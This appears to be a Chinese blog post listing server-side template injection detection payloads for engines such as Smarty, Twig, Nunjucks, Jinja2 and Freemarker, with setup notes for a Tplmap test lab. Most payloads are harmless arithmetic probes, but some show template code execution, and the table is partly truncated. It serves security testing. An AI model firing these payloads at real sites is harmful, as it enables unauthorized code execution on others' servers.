1. 程式人生 > >服務端模版注入漏洞檢測payload整理

服務端模版注入漏洞檢測payload整理

服務端模版注入漏洞產生的根源是將使用者輸入的資料被模版引擎解析渲染可能導致程式碼執行漏洞

下表涵蓋了java,php,python,javascript語言中可能使用到的模版引擎,如果網站存在服務端模版注入在能回顯的情況下會將驗證欄的資料當模版執行,利用引擎提供的功能進行了計算大部分執行結果都會變成1522756

模版引擎 語言 驗證 程式碼執行 盲檢測
Smarty(secured) php {1234*1234} x x
Smarty(unsecured) php {1234*1234} {php}echo md5(0xaa);{/php}
twig php {{“abcdefg”|upper}} x x
Nunjucks javascript {{1234*1234}} {{range.constructor(“return+’abcdefghi’.toUpperCase()”)()}}
doT javascript {{=1234*1234}}
Jade javascript %0a=1234*1234%0a
Marko javascript ${1234*1234}
Mako python ${1234*1234}
Jinja2 python {{1234*1234}}
Tornado python {{1234*1234}}
Slim ruby =”#{1234*1234}”
ERB ruby <%=”#{1234*1234}”%>
Freemarker java ${(1234*1234)?c}
Velocity java #set({t}

附錄一

升級ruby 檢視ruby版本 ruby —version

利用rvm Ruby版本管理器升級 檢視支援升級的版本 rvm list known

升級指定版本 rvm install 2.3

rockup命令安裝 gem install rock

附錄二

安裝gradle

# mkdir /opt/gradle
# cd /opt/gradle
# wget https://services.gradle.org/distributions/gradle-3.5-bin.zip
# unzip gradle-3.5-bin.zip
# export PATH=$PATH:/opt/gradle/gradle-3.5/bin
# gradle -v

附錄三

其他環境搭建

Tplmap 測試環境搭建

php環境

yum install wget php unzip

php -S 0.0.0.0:15002 -t env_php_tests/

nodejs環境

yum install epel-release

yum install nodejs

cd /root/tplmap-master/tests/env_node_tests/lib; node connect-app.js;

java環境

下載相應的rpm包

http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

rpm -ivh jdk-8u131-linux-x64.rpm

mkdir /opt/gradle

cd /opt/gradle

wget https://services.gradle.org/distributions/gradle-3.5-bin.zip

export PATH=$PATH:/opt/gradle/gradle-3.5/bin

ruby環境

利用yum 安裝的ruby為2.0.0,不符號要求

安裝rvm

gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3

curl -sSL https://get.rvm.io | bash -s stable

source /etc/profile.d/rvm.sh

rvm reload

rvm requirements run #檢測並安裝依賴

rvm install 2.3.4 

gem install cuba

gem install tilt

gem install slim

cd env_ruby_tests/

rackup -o 0.0.0.0 -p 15005

python環境

yum install epel-release

yum install python-pip

pip install mako jinja2 flask tornado

python webserver.py